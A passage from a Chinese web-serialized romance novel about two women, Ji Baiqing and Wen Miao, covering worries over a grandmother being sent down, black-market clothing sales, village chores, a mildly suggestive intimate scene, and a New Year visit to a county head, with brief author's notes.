原本想要将她的泪擦干净,温淼却勾住了她的颈项,一下吻住了她的唇,难得的凶狠,亲她的唇、勾她的舌,搜刮她口中的涎液。 季白青没有推开她,反而将人抱得更紧,两人的身体紧紧贴合在一起,心跳声奇异地开始重合。 大脑刺刺痛在激吻中缓和下来。 两人的唇早就在有些激烈的亲吻中磕破,温淼退出的时候,季白青的舌根有些麻。 唇瓣湿红,呼吸急促几分,胸膛上下起伏,眼尾带着薄粉,脸颊潮红。 温淼的强势不太常见,季白青没多少准备,被亲得晕乎乎的,大脑一瞬间发白。 手指抓在床单上蜷缩又展开,手背上青色的脉络明显。 指尖忽然触碰到不知何时落下的鸡蛋,季白青才反应过来。 她还煮了个鸡蛋要给温淼裹裹眼下,不然明天起来眼睛肯定会疼。 见温淼休息一会儿后要凑过来亲她,季白青伸出手捂住她的唇。 见她又泫然欲泪,季白青用沙哑绵软的声音哄她: “晚点再亲,给你敷一下眼睛,不然明天起来该不舒服了。” 再亲一会儿,鸡蛋就冷了,现在的温度刚刚好。 看着她手里的鸡蛋,温淼一怔。 “你是去煮鸡蛋了?” 她睡得不熟,季白青离开后没多久就醒了过来。 温淼本就容易多想。感受到床上少了个人,她以为季白青刚才说的话只是敷衍,所以才会趁她睡着又偷偷离开。 便又在被窝里偷哭了一场。 没想到季白青只是去煮了个鸡蛋。 季白青一看就知道她想的什么,重重叹出一口气。 “好娇气。” 见她不好意思地垂眸,要咬唇,开口:“不许咬,闭上眼睛。” 过热的鸡蛋隔着纱布在眼皮眼睑上滚过,眼睛的酸涩缓解了不少。 季白青的手心被鸡蛋烫得发红,一直到鸡蛋的温度散去后她才将鸡蛋放在床边。 把温淼放在床上,自己钻进被窝里,季白青闭上了眼睛。 “睡觉,不许再多想。” “明天起来自己把鸡蛋给吃掉。” 【作者有话说】 喵:人,外面总在下雨,猫处理不好。 写喵的时候想的是这句。 最近想要稳一下排名,努力日更八千,求求大家不要养肥我哦 感谢投雷营养液,感谢评论订阅收藏[星星眼] 67 第67章 ◎管我◎ 第二日起来,季白青第一时间低头去看温淼的眼睛。 女人的眼皮和眼睑上浮着一层浅浅的桃花粉,即时处理过,倒是没有发肿。 她轻手轻脚地起来。 床头放着的鸡蛋过了一夜,早就已经凉透了。 明明昨晚还对温淼说让她早上起来自己把鸡蛋吃了,可鸡蛋放了一夜,虽然没坏,她还是有些舍不得让温淼解决,拿着鸡蛋去厨房放水里热了热,她自己吃了。 又煮了个鸡蛋,鸡蛋煮好后,她又给温淼敷了敷眼睛,热敷两次,醒来后眼睛疼痛程度会减轻不少。 感受到眼皮上的温度,温淼醒了过来,等到热度散去才敢睁开眼。 一睁眼就见着了季白青的脸,她伸手去勾季白青的颈项,眼神中带了几分依恋,想要和她接吻。 季白青挡住她的嘴,手指轻晃。 “不行,先起来洗漱才能亲。” 闻言,温淼扁了扁嘴。 季白青将她的衣服放在床边,催促:“快起来吃早饭。” 穿好衣服洗漱过后,温淼在季白青的注视下将煮鸡蛋给吃掉了。 难得的乖巧,要知道她平时最讨厌吃煮鸡蛋里的蛋黄了。 左右看了看,没见着何香月和季伟的人,温淼有些急切地垫脚去够季白青的脖子,最后如愿以偿地和她接了个吻。 蛋黄味的。 吃过早饭,想着给其她人带的东西,温淼回房间整理一番。 何香月将季白青带到角落压低声音询问:“怎么样?商量好了什么时候结婚吗?让我和你爹看看到时候怎么准备。” 季白青轻“啧”一声,“娘,你这也太急了,结不结不都一样,反正又不可能莫名其妙给你整出个大孙女来。” 听她这么说,何香月给了她清脆的一巴掌。 “你这死丫头,瞎说什么!” “老娘这不是替你着急么,你快说什么时候结!” 季白青对她一笑,“娘,其实我觉得结不结婚不都还是一样过,我想再等等,反正这事儿不着急。” 何香月听了她这吊儿郎当的话,瞬间手又痒了。 咬着牙默念几遍这是自己唯一的女儿,她这才将手放下,咬牙道:“你这样人淼淼愿意?你和她说清楚了?” 就是淼淼不愿意,我想结也没办法啊,季白青内心腹诽。 心里想的是一回事,嘴上又是另外的说辞。 她笑嘻嘻开口:“我说什么淼淼都会答应的,娘,你就别操心了,这都是我们年轻人的事。” 听着季白青说出来这话,何香月还是没忍住,又给了她背上来了一巴掌。 听听、听听,这都什么话。 她拧着季白青的耳朵:“你要是敢对不起淼淼,我把你赶出家门。” “嘶,娘,放开……”季白青飞速求饶,“肯定不会对不起淼淼的,嗷嗷,疼!” 最后季白青回到卧室的时候,其中一只耳朵通红。 温淼听见动静抬起头来,一眼就看见了她发红的耳朵。 一时间有些疑惑,“耳朵……怎么了?” 季白青摸了摸,何香月用了劲儿,现在摸着还有点疼,不想对方多想,她信口胡诌: “没事,刚才在外面吹了会风,冻的。” 温淼一摸,明明是热的。 四目相对下,季白青换了说辞。 “我自己搓热的。” 温淼抿着唇,看着她耳垂上的指印,小声道歉:“阿青,对不起。” 依照她对季白青的了解,对方肯定是将责任都往自己身上揽,何香月也不会溺爱孩子的人,也少不了也给她一顿教训。 她的错误,却要让季白青来承担。 想到她因为自己的决定挨了疼,温淼就觉得愧疚、难过。 季白青屈指弹她的额头,见她惊呼一声下意识捂住额头,这才露出笑来。 “没什么对不起的,现在我还回来了。” 见温淼眸光闪烁,她拉过了另一边的凳子坐下。 “好了,我和我娘她们都说好了,她们都知道了。蓁蓁,我还是之前那句话,结不结婚对我来说不重要,只要我们还爱着对方就好。” 婚姻不过是两人在一起的另外一重形式的证明,她听到温淼说暂时不结婚,失落肯定是有的,但想开了之后,也觉得可以接受。 无论步入婚姻阶段还是留在恋爱的阶段,都不能改变两人相爱的本质,这对季白青来说才是最重要的。 哪天温淼突然说不爱她了,她才有可能发大疯。 思绪到这,被大脑的刺痛阻断,脑内无端响起轰鸣。 季白青揉着太阳穴,眉心皱起。 见她面色苍白,神色有几分痛苦,温淼慌张询问:“阿青,你怎么了?” 见她手指抵着太阳穴,抿着发白的唇一言不发,温淼只能绕到她的背后,帮她轻轻按着头。 好一会儿后,季白青缓过来那阵针扎似的刺痛,才安慰温淼。 “没事,刚才有点头痛。” 大概是昨天晚上在屋外吹了太久的风,被吹出来毛病了。 温淼还在用柔软的手指轻轻给她按着穴位,话里的担心还没褪去:“真的没事吗?” 季白青抓着她的手指,没让她继续。 “真的没事了,不信你现在再看看。” 她抬起头来,乖乖让温淼看自己现在的状态。 与刚才相比,现在脸色好多了,也就额角还存留部分细汗。 温淼认真地看了好一会儿,最后还是不太放心,犹豫开口:“要不要去医院检查一下?最近看你总是头痛。” 季白青原本不想那么麻烦的,可温淼语气坚持,她也觉得最近头痛发作得异常,最后吃了午饭后还是骑着车往去镇上的医院。 常规检查又去拍了片,最后都没什么问题。 季白青看着明显还有些担心的温淼,有些没辙。 “没什么大事,你别瞎担心了淼淼。” 温淼抓紧了季白青的手,也不知道为什么,心慌的感觉一阵阵,难以停下来。 平静的生活不知道什么时候就开始被搅得一团糟。 她置于其中,有些喘不过气。 抬眼看向季白青,她喃喃问:“阿青,真的没事吗?” 季白青见她神色有些恍惚,用后背探探她额头的温度,没发现异常。 但她也有些不放心,建议道:“来都来了……不如你也去检查检查?” 最近温淼确实也有些不对劲。 检查做完后,温淼没什么问题,医生说最大的问题就是思虑过重。 简而言之,想太多。 听了这话,季白青又有些头疼了。 她也不知道,温淼的小脑瓜子整天都在想些什么。 都来了镇上,检查完之后两人去尚敏家给她拜了个年。 在京市给她和尚母尚父分别买了围巾和帽子,收到礼物的时候尚母尚父都有些不好意思,推拒一会儿后还是收下来,看着脸上的笑就能得知她们很喜欢。 离开的时候,两人还被塞了一个红包。 昨天晚上,何香月和季伟也给了她们红包,季白青今年的红包简直是收到手软,光是温向荣她们给的就有几大百。 回到家,将红包放好,季白青和温淼在房间面对面坐着。 见女人低着头,面上神色难以看清,只能够看到红艳的唇,她开口:“宝宝,抬头,我们好好聊聊。” 听着久违的称呼,温淼轻咬着唇,抬起头来,看出季白青落在她唇上的视线,她才放开唇瓣。 视线上挪,盯着她潋滟的琉璃眼,季白青问:“宝宝,你到底在想什么?或者,你在担心什么?” 温淼的手搅在一起,手指都被攥红了,最后还是没有给出回答。 她不自觉又垂下了眼,想要避开季白青灼人的眼。 季白青没想让温淼继续退缩,轻易扣着她的下巴,让她抬起头来。 一字一句逼问:“因为奶奶的事?你知道多少了?” 温淼摇头,在恋人锐利的眼神下却显得有些无所遁形。 心里最后一道防线崩溃,她扑进了季白青的怀里抽噎。 嶙峋的肩头一颤一颤,诉说着身体的主人的心情。 总感觉只是几天的时间,温淼好像又瘦了些,肩胛骨抵在她的手心硌手。 季白青的手收紧,心脏因为她落下的一滴又一滴的泪而发紧。 心疼又无力,她不希望温淼难过,可她哄不好人。 一下一下地轻抚着温淼的背,她用发涩的声音哄着她:“宝宝,别难过。” “奶奶的事我也大概知道一些,相信我,不会有什么大事的,别担心。” “别哭了蓁蓁,你一哭我的心就痛……” 最后一句话落下,温淼的抽噎声渐小,最后泪眼朦胧地抬头看了她一眼,用沙哑的声音道歉。 “对不起……我不哭了。” 季白青:“……宝宝,我只是希望你别难过太久。” 有时候她真的是不知道该说什么好,温淼像是朵名贵又娇矜的蔷薇花,明明需要耗费许多心里看护,但有些时候却又意外的懂事。 这么乖的温淼…… 等着人将最后一点泪流尽,季白青亲她的眼尾、眼下、鼻尖,最后和她接吻。 通过眼泪发泄后,紧绷的情绪缓解不少,恋人还用温柔的吻安抚。 温淼的情绪稳定下来,看着季白青脸上的关心,她再次道歉。 “对不起,阿青。” 叹息般的声音落在耳边,她说:“没关系的蓁蓁,你没有对不起我,就算真的对不起我也会原谅你。” 在温淼的耳垂上亲了一口,季白青的声音清凌凌地落在她耳边:“宝宝,我爱你。” “好爱你。” 温淼呜咽一声,将季白青抱紧。 “我也爱阿青,好爱阿青。” 哭过一次后,两人同时整理好心情。 温淼这才决定和季白青公开布诚:“阿青,奶奶大概是出事了,我……我不能确定到底是怎么回事,虽然她在我面前一直表现得强大又坚定,但我还是担心她出事。” “不想现在结婚是因为真的没心情,我害怕……” 她所说的季白青大概能猜到七八分,但她也不觉得就只是这个原因。 “就这些吗?”她问。 温淼轻轻点头,试探着要去抓她的手,轻声说:“阿青,会怪我吗?” 季白青怎么可能怪她。 反手将她的手抓住,转变成十指相扣的姿势,她捏着女人柔软的指腹,希望她别太紧绷。 “奶奶的事你不要担心,还有姑姑她们在,肯定不会出什么事的,至于结婚,听到奶奶没事的好消息之后再决定。蓁蓁,不要多想。” 这话有一半是真的,一半是骗她的。 原剧情没有改变,温向荣肯定会被下放。 但只要一到溪宁镇,季白青就有办法能够让她不落到原书的结局。 她这话说完,温淼还是还是有些不安,犹豫一会儿,带着季白青的手贴上了她的胸口,她语气有些无助。 “心里很慌,总感觉事情会很糟糕。” 就连昨天做的梦都是糟糕的,梦到温向荣过得很狼狈,躺在破旧又逼仄的地方气若游丝,梦里的季白青厌恶地看着她,说要和她分开。 原本梦醒时记忆就不剩下多少,只隐约觉得不是好梦,却在此刻突然被温淼回忆起来。 附着柔软,手下的心跳确实跳得比往常要快。 季白青只能安慰她:“不会很糟糕的,相信我,蓁蓁。” 在温向荣的事还没有被真正定下来之前,她们都不能慌。 温淼抓着她的手,语气担忧:“真的会没事吗?” “会的。”季白青的语气坚定。 不愿让温淼多想,她转移话题,将窗帘拉开,突然发现蔷薇丛里长出了个小花苞。 她有些惊喜,让温淼看向窗外,“蔷薇花开了。” 现在天气冷,没想到看起来娇娇弱弱的蔷薇花却在这个时候冒出了花苞。 季白青担心被风吹折,叫上温淼一起,“别想其它的了,我们一起去给蔷薇搭个架子,以免被风吹断了。” 两人一起动手用竹片给花丛搭了个花架,虽然大部分时候是季白青动手,但温淼被指挥着拿各种东西,倒也分不出心神再去多想了。搭好了花架,往上面铺了层厚稻草,季白青拍了拍手上的灰。 见温淼全部心神被转移,她吐出一口气。 看来,还是不能让温淼太闲着。 现在小学还没开学,温淼也还不需要上班。 季白青将从京市买回来的玻璃珠搬出来,让温淼将珠子串到皮筋上。 每串上一两个珠子再打上结,一个简约款的头绳就做好了。 何香月和季伟没事也跟着串了点,一晚上的时间,挑的那些珠子没了小半,做出了几百条头绳。 季白青将这些头绳用布袋装好,打算明天带去黑市看看。 最主要的是要把从京市带回来的那些衣服给卖出去,京市的款式相较于溪宁镇的要更为时兴,不愁卖。 拍拍怀里的温淼,在睡前她轻声叮嘱道:“明天你和娘一起去买粮食,多买点粮食放在地窖。” 温淼点头,还有些疑惑:“买那么多粮食干什么?家里的现在不够吃吗?” “多存点粮食总是好的。”她没多解释,再过一段时间,家里会多个人吃饭,自然要提前先准备好。 更何况之后她还会继续在黑市做生意,多点粮食也能够做更多吃食。 温淼点头,有些困,靠着她很快睡着了。 第二日,季白青照样起了个大早,将要带走的东西收拾好,穿好了保暖的衣物后就骑车去黑市了。 到地方的时候,人还不怎么多。 几个同样是买东西的人搓着手走来走去取暖。 见她们有人衣着单薄,季白青朗声道:“大姐,你们要来看看衣服吗?这可是京市时兴的!” 闻言,几人对视一眼,还是没敌过内心的好奇,几个人围着季白青的布袋子翻翻找找。 最后还真找到了喜欢的。 一个大姐摸着手上厚实的毛线衣,红色那么喜庆,上面还绣着朵花,她是真喜欢。 犹豫再三,她最后还是没舍得放下,一咬牙问季白青什么价格。 季白青看了眼,笑眯眯开价:“大姐,你可真有眼光,你手上拿着的衣服可是混纺的毛线衣,一件我也不多收你钱,三十八块再给票!没有布票粮票或者其它的票都行。” 闻言,大姐咂舌,三十八块,乖乖。 可低头一看,手里的毛线衣又确实是*在溪宁镇没有见过的,穿出去别提多有面子了。 见她纠结,季白青也没有催促,回答别人问价的衣服。 过了会儿,一个婶子过来看衣服,见着大姐手上的衣服,问:“同志,你这是要不要啊?不要的话给我看看。” 这话一出,大姐原本纠结的心瞬间定下来了。 她从兜里掏出钱给季白青,又拿了些七七八八的杂票。 “同志,这件我买了!” 季白青收下钱,给她送了个头绳。 “用这个绑头发,爽气。” 见买衣服还能用东西送,大姐瞬间高兴了,拿着衣服高高兴兴又回了自己卖的东西旁边。 衣服的价格都偏高,还需要票,虽然很多人上前看,但却没有多少人买。 从京市带回来百来件的衣服,季白青今天只拿了二十件出来,一上午卖了五件,倒是不少人见头绳漂亮、样式又少见,两毛一条也不缺人买。 一上午过去,季白青没多待,把东西收好就往家赶。 下次把围巾手套和袜子那些东西收拾出来再带去黑市看看销路。 回到了家,温淼刚做好饭。 把自行车推回家,季白青洗完手后凑过去向她讨了个吻。 将菜盛出来,温淼问她:“上午的生意怎么样?” “还行,蓁蓁和娘把头绳串得好看,头绳卖了不少。” 头绳也就一毛五分钱的利润,卖了百来条也就十几块。 衣服的利润更大,一件衣服大概能有十到二十块钱的利润,有的更高。 虽然不能一次性卖出去,但季白青每天慢慢卖,衣服在这时候算是稀罕物,京市的款式在溪宁镇也被衬得更好看,不愁卖不出去。 吃午饭的时候,何香月和季白青说起上午去买的粮食分量。 买的是村里人的,有几户的粮食是完全够一家人吃的,还有富余,卖出一部分并不影响正常的生活。 云水村一年种两季水稻,分粮食也是按照两季的量来分。 细粮买了五十斤,粗粮买了一百斤,还有二十斤的富强粉。 季白青点头,吃完饭后把钱给了何香月。 何香月现在看见钱就头疼,没好气地推了回去。 “你和淼淼都一个样,抢着付钱,上午淼淼给的,你就不用拿钱给我了。” 闻言,季白青一愣,无奈地拍了拍脑袋。 也是忘了温淼的大手笔了,她和何香月一起出去确实是不可能让何香月付钱的。 她还是把钱给了何香月,想了想,何香月还是收下了。 “这钱给你当做嫁妆,我们先帮你收下了。” 季白青沉默。 “……怎么不是彩礼。” 何香月再次白她一眼,“淼淼这么好的条件,嫁给你不是吃苦吗,还不如你嫁进去。” 听着她娘这个解释,季白青觉得竟然也有几分道理。 她若有其事地点了点头,也对。 这么一想,晚点结婚也不是坏事,起码她有了更多的时间可以给自己“攒嫁妆”。 回了房间,将何香月说的话原封不动地说给温淼听。 温淼看着季白青,很真诚地点头,不过有句话她还是要反驳:“你嫁进来的话,没有嫁妆也可以,最重要的是人。” 季白青险些被感动得泪眼汪汪,将脸埋进温淼的胸前,露出一双圆溜溜的眼睛,问:“真的吗?” 感受到她在占自己的便宜,温淼将她的头推开,面无表情回答:“假的。” 见她一本正经的,季白青一下笑出了声。 捏捏温淼软绵绵的脸颊肉,“老婆,怎么这么可爱?” 温淼被她捏着脸,眼睛一眨,还没有明白自己做了什么事又被她说可爱。 不等她问出口,季白青见她一把抱了起来,脱了外面的衣服后塞她进被子里,自己也钻了进去。 “午睡时间到了,要我哄你睡觉吗?” 想要说的话被她突然的动作,在床上的时候温淼也忘记了自己要说些什么了。 听她这话,心微微一动,最后矜持地点了点头,小声说:“你给我讲个故事吧。” 季白青随口给她编了个故事,“从前有个小女孩,一生出来就被扔到了路边……” “后来小女孩和她喜欢的人在一起幸福地过了一生。” 最后一个字说完,低头看温淼,对方还没睡,那双漂亮明媚的眼睛带了几分潋滟水光。 她呜咽一声,“小女孩好可怜。” 季白青:“……不是哄睡吗?你怎么还没睡?” 她寻思也没有说什么惊心动魄、波澜起伏的故事,怎么女人还越听越来劲了。 温淼也沉默了一会儿,往她怀里靠了靠,语气有些懊恼。 “我也不知道为什么就听进去了。” 行吧。 她不再把自己套进故事,讲了一篇自己曾经看过的特别无聊的文章。 说到一半,怀里的人就睡着了。 季白青看着她安安静静的睡颜,没忍住弯了弯唇,在她的额上亲了一口。 “我不可怜,现在已经很好了。”她轻声道。 今天下午何香月要磨豆腐,季白青想着分散温淼的注意力,但也不想她一直串珠子把眼睛看坏,本来就有些近视。 让人穿好衣服,季白青带温淼去山上挖冬笋。 现在的冬笋正嫩,无论是什么做法都很鲜。 带着温淼去了毛竹林,没多久,就看到一处鼓起的小土包。 季白青让温淼看着自己动作,她从旁边将土挖开,埋在地里的冬笋这才显露出来。 挖出来挺大一个,白白嫩嫩比婴儿手臂还要粗。 找到下一处缝隙,她将锄头给了温淼,让她试着挖。 温淼聪明,很多活儿一学就会。 不过她干活细致,挖笋的时候怕将笋拦腰挖断,下手小心翼翼,有些放不开,最后挖出来一个冬笋已经是十分钟后的事儿了。 季白青教她怎么找到冬笋,从地缝、鼓包和竹鞭上观察,最后温淼倒也靠着自己的观察挖到了不少的笋。 温淼在一边挖笋,季白青留意着竹林里的洞穴。 看到一处洞口外堆积着湿润的泥土,她拿手指捻了捻,用木棍将洞口挖开,看到了里面的新鲜粪便。 用锄头将洞挖开,挖到了最深处,里面的竹鼠没有地方跑,最后只能被季白青抓着撞进了袋子里。 她如法炮制,又接连捅了几个竹鼠窝,最后拎着布袋折回去找温淼。 放在地上的竹篓里已经有不少笋了,温淼撬出来一根,放进去。 季白青过去,晃了晃手上的布袋,里面的竹鼠乱窜。 被布袋蛄蛹的动静吓到,温淼下意识后退一步,问:“这是什么?” “竹鼠。” 见温淼眼睛瞪大,她补充一句:“不是老鼠,竹鼠肉很好吃。” 温淼看了眼她手上的布袋,又看看她,最后夸她:“你可真厉害。” 季白青被夸得唇角高高翘起,还故作谦虚,“还好还好。” 见着天差不多黑了,她将布袋打结,往背篓里一扔,背上背篓和锄头,带着温淼下山。 到屋里的时候,卤水已经熬出来了。 见她们终于回来了,何香月催促:“快洗把手,来吃豆腐脑。” 刚盛出来两碗豆腐脑,她在缸里淋上卤水,又舀进专门的木质模具里,压上一层木板封顶,在放个石块压上去,就等着豆腐定型了。 季白青将两碗豆腐脑端到堂屋,将腌辣椒的坛子打开,见季白青将剁辣椒往豆腐脑上淋,温淼有些震惊。 季白青自然没错过她的眼神,明知她不会喜欢,还是问了一句:“你要加点吗?” 温淼果断摇头。 见状,季白青笑出了声,将一边的白糖放桌上。 “逗你的,加糖吧,加糖好吃。” 豆腐花雪白,淋上了红艳艳的剁辣椒之后看起来更加有食欲了。 喝了一口自己碗里的甜豆花,温淼看了眼季白青的,又开始馋。 被人眼巴巴地盯着,季白青只能舀一勺递给她。 “尝尝?” 尝了一口后她的后,温淼皱起了小脸。 刚想喝点自己碗里的豆花解解辣,被季白青眼疾手快塞了杯温水。 “豆腐脑现在是烫的,你喝的话更辣了。” 她的唇被辣红,眼里浮现一层晶亮水光。 对此,季白青只能用一句话来描述——又菜又爱玩。 晚上将冬笋和剩下的腊排骨一起炖,炖出来的汤很鲜,温淼很喜欢,比平日多喝了一碗。 先前总觉得温淼瘦了,季白青见她喜欢,又给她多盛了点饭,希望她多吃点。 睡前还特意带着去村里吹着冷风散步,算是消食。 大冷天出去散步的结果就是回去的时候脸被吹得发干。 房间里,季白青专注地帮温淼擦着脸,散发着淡香的雪花膏被修长的手指推开,脸颊莹润几分。 给她擦完后,季白青嗅着鼻腔的香味,“好香。” 温淼抹了点帮她擦上,眼神专注,擦完了脸发现她的唇有些干燥。 她看了看桌上放着的凡士林,“帮你擦点?唇有点干。” 季白青以前就不太爱擦唇膏,她往后一仰,“我想擦其它的,可以吗?” 温淼疑惑地偏了偏头。 刚想说擦什么都可以,毕竟大部分都是季白青给她买的。 这人对自己不是很在意,但关于她的事却又关心得很。 话还没说出口,却被季白青贴近,亲亲含住了唇。 含糊的声音从唇边散出,又轻又快,还是让温淼听清楚了。 她说:“蓁蓁帮我舔润就好了。” 和她双唇相贴,她并没有深入,只是等着温淼的动作。 没犹豫多久,温淼伸出舌,轻轻舔舐她的唇面,有些干燥的唇面被津液浸湿,果然润了几分。 两人的眼睛不知道在什么时候都闭了起来,两张漂亮的脸贴在一起,都是十足的睫毛精,睫毛纤长浓密,同时眨眼的时候,两人的睫毛偶尔会打架。 细碎的声音不知道响了多久,温淼亲得投入,不知道什么时候,就让季白青钻了空子,手钻进了衣服里,握住了柔白。 眼睫重重一颤,温淼“唔”了一声,随后被季白青反客为主,亲得说不出话来。 原本松松垮垮挽起的头发,皮筋不知道什么时候掉了,长发落下来,遮住了雪白纤瘦的脊背。 衣服散落地搭在椅背上,温淼的手陷入季白青的黑色长发中,抓着她长发的手突然绷紧,手背上的经脉越发明显。 两股不同的喘|息声混乱,季白青的长发落在她的身上,黑发间透露出极致的新雪似的白。 温淼想将她推开,却有几分无力,声音也软绵绵不带什么气势。 “呜……不许、咬。” 安抚地揉了揉温淼的腰窝,她很快就陷入了绵绵、温和的细沙中。 不知道什么时候累得睡着了,季白青将水光涟涟的手擦拭干净,简单收拾了床,见人睡得安安稳稳才松了口气。 果然做这种事就是容易困,极致的快|感过后人总会被困倦簇拥,无论心里再多的事也该睡着了,季白青愿称之为快速睡眠法。 她想着,这几天就该多和温淼亲昵,让她少多想。 别到时候憋出毛病来了。 对温向荣后续的安排,她计划的差不多了,不需要温淼再以健康为代价,去耗费太多心力。 “晚安。”在鲜红泪痣上轻啄一口,季白青抱着她也阖上了眼。 新的一天要去杀猪,季白青给夏寒梅和王宝珠也带了礼物。 去仓库前,她先去找了夏寒梅。 夏寒梅果然在,她笑着开口:“夏主任,新年好。” 听着动静,夏寒梅抬起头,见是季白青回来了,还有些惊讶。 “怎么提前回来了?没带温同志来?” “天冷,她还在睡,主任,我来销假,顺带还给你带了礼物。” 给夏寒梅带的是一条轻薄的纱巾,粉色的,还绣着梅花,和她的名字相衬。 夏寒梅笑着对她道谢,又给她发了一个红包。 “开工红包。” 收了红包,季白青去仓库杀猪,给王宝珠带的是一条项链,送完礼物后两人合力将猪杀了。 分猪肉的时候,王宝珠擦了擦脸上的汗,“还好白青你回来了,不然今天又得废老长时间。” 一个人行动确实不太方便。 季白青手起刀落,将肉切开,一边回道:“宝珠姐,我之后应该就不会请假了。” 有她这话,王宝珠安心了。 今天十一点多才将全部的猪肉卖完,去供销社买了点东西,季白青才回家。 到了家,没看着温淼,她问了嘴何香月:“淼淼人呢?” “没见着人,不过这么大人了,又不会丢。”何香月觉得她太紧张了。 季白青喝了口水,只能转移注意力。 她一细想,确实发现自己对温淼和她有关的事情很紧张,也不知道是什么时候养成的臭毛病。 按了按额角,她在门口漫无目的地晃了晃,看着鸡圈里的三只鸡悠闲地溜达。 它们倒是不怕冷,案首挺胸走得很神气。 季白青被呼呼的风吹得发丝凌乱,手指耳朵发红。 等了一会儿,总算看到温淼人了。 温淼走进,见到季白青后还有些诧异。 “怎么在外面吹冷风?” 她拉住季白青的手,冰凉。 放在眼下一看,都冻红了。 季白青若无其事抽回手,“没事,我刚回来没多久,在门口转转。” “你去哪了?” 温淼随口回答:“去找了荷花姐,给她们把礼物拿去了。” 跟在她身后回了屋,没想到一下就被何香月拆了台。 见着温淼和她身后的季白青,何香月道:“淼淼你再不回来,白青就成望妻石了,在门口等你半个多小时。” 被温淼拧眉瞪了一眼,季白青下意识摸着鼻尖,温淼更生气了。 她讪讪收回了手,“没事,外面也没多冷。” 温淼冷声打断她的话,“手和耳朵都冻红了,还不冷?” 如果不是温淼盯着她每天擦哈喇油,凭借这人对自己的不爱惜程度,她早就得冻疮了。 被老婆抓着手带去烤火,季白青看着她的侧脸,什么话都不敢说。 等她手的温度上升,红色逐渐褪去,温淼放开她的手,教训她:“以后不许这样了。” 季白青乖乖点头。 温淼瞪她一眼,轻声骂她:“每次都是表面乖巧,你就是一点不听话。” 季白青勾她的手指,撒娇似地晃了晃,“多提醒我几次,我就听话了。” 她喜欢管着温淼,也喜欢被温淼管着。 温淼口是心非:“才不想管着你。” 下一秒,见着季白青要在大冬天用冷水洗手,她又要生气了。 “季白青,兑热水!” 季白青唇角扬起,慢吞吞回答:“知道啦。” 哪里是不想管她,明明就喜欢管她。 吃了午饭,季白青做了些吃的,用饭盒装好之后,问温淼: “下午有安排吗?” 看她像是要出门的模样,温淼眨眼:“有啊。” “嗯?”季白青疑惑看她一眼,“又要去干什么?” 怎么又惦记别的事? 下一秒就听见温淼语气雀跃:“和你一起出门呀。” “坏老婆。” 温淼听她这么叫,哼了一声,将她手里的饭盒接过,抱在怀里,“走吧。” 季白青拉住了她,让她换了身衣服,又将她和自己的头发绑好,换上了同个款式的红色围巾后才出门。 骑着车在镇上绕了半圈,最后到了梅叙家门前。 敲门前,季白青对温淼解释:“这是梅县长的家,我们一起给她和梅大娘拜个年。” 温淼点头,帮她把头发整理好,这才敲了门。 很快有人来开门,梅大娘穿着红色棉袄,见门口是两个漂亮女同志还有些奇怪。 “同志,你们找谁?” 季白青压低了嗓子,“大娘,你还记得我吗?我是温青。” 听到了熟悉的声音,大娘的眼睛瞪大。 “温青!” 小伙子突然变成女同志了,她一时间脑子转不过来,将门拉开,“快进来!” 温淼藏在围巾下的唇角悄悄翘起,什么温青,乱叫。 抬眼对上了正在倒水的女人,季白青先一步开口:“梅姐、梅大娘新年好,我带我恋人来给你们拜年了。” 被季白青扣住了手掌,温淼慢半拍开口:“梅姐、梅大娘新年好,我是阿青的对象。” 梅叙也没想到季白青那个竟然会来给自己拜年,也没想到她还带了她对象。 她对象长得还很漂亮,眉眼艳丽,和秀致清隽的季白青站在一起很登对。 也就愣了一会儿,梅叙笑眯眯道:“原来是季同志,快坐。” 季白青对大娘不好意思道:“大娘,我叫季白青,我恋人姓温,那种地方不好把真名说出去。” 梅大娘点头,“没事。” 她看了眼温淼,还是没忍住多嘴:“哎哟,这小闺女长得也太标志了!” 【作者有话说】 夸我,看着这么多字数,快夸这个宿宿雪呀! 感谢投雷和营养液,感谢评论订阅收藏! 68 第68章 ◎心不心疼◎ 季白青听了这话,与有荣焉地点头。 “对吧大娘,我也觉得我爱人特别漂亮。” 见她神色有些嘚瑟的模样,在场的另外两个人都笑出了声,当事人温淼不好意思地低下了头,耳垂泛红。 季白青每次都这样。 梅叙给两人倒了杯热茶,季白青也将手里拎的礼物放在了桌上。 除了在京市给两人买的围巾,她知道梅大娘喜欢自己的手艺,还做了些精细的糕点。 打开饭盒,里面装着的豌豆黄和糯米糕都还带着热度,往外散发着清香。 季白青说:“今天做糕点的时候,突然想起来梅大娘喜欢吃,我就寻思着带点过来,顺带给大娘和梅姐拜个年了。” 梅大娘闻言连连点头,笑得见牙不见眼。 “叙叙啊,我就跟你说这小同志好吧。” 梅叙看着她娘,在一边淡笑点头。 她看了眼温淼,对她娘开口道:“娘,我记得我房间里有一盒雪花膏,大嫂给我那个,我用不上,你带着温同志去看看,要是温同志喜欢的话,就直接带走吧。” 她看出来季白青有话想要和她说,便将其她两人支走。 梅大娘还是那副笑眯眯的样子,对自己女儿的话也没有任何异议,拉起温淼的手:“走,温同志,你这小嫩脸蛋,就得擦雪花膏呢!” 温淼也能明白梅叙话里的意思,跟着梅大娘去了她的房间,人离开后,梅叙道:“季同志是想说什么?” 季白青脸上的笑淡了几分,纠结一会儿还是将自己的来意说清楚了。 “梅县长,过段时间如果有个叫温向荣的老太太被下放,能不能麻烦你给她安排到小石村去?” 闻言,梅叙的脸色一变,“温向荣?你是她的什么人?” 她这反应,难不成认识温向荣?季白青一时也摸不准她的意思。 “温向荣是我爱人的奶奶。” 梅叙的语气有些急切,抓住了季白青感到衣袖。 “温同志和温泠月是什么关系?!” 季白青莫名看了眼情绪突然激动的梅叙,老实回答:“温泠月是淼淼的母亲。” 似乎是意识到了自己的失态,梅叙松开手,端坐一边,喝了一口水,茶水冷了,也让她慢慢冷静下来。 明明面前的人不是她,一向冷静的梅叙说出口的话却还是带着刺,“自己的女儿保护不好,还要让温同志下乡,温泠月也是越活越过去了。” 季白青看出她眼角的落寞,压制住内心的惊涛骇浪,最后还是给爱人的母亲解释了一番。 “梅姐,温阿姨已经去世了,在淼淼五岁的时候。” 她刚说完这话,梅叙端着水杯的手腕一松,水倾斜而出,将她的绒裤打湿,陶瓷杯落在地上,轱辘滚了两圈。 梅叙的呼吸急促了几分,手心攥紧,“……她去世了?怎么可能!” 刚从梅叙房间出来的梅大娘和温淼见状,都楞在了原地,不知道发生了什么事。 梅叙不顾被水淋湿的大腿,站起来走到温淼面前,怔怔地看着温淼的脸。 第一眼见她的时候就觉得有几分熟悉,现在再一看,眼角眉梢都带着旧人的痕迹。 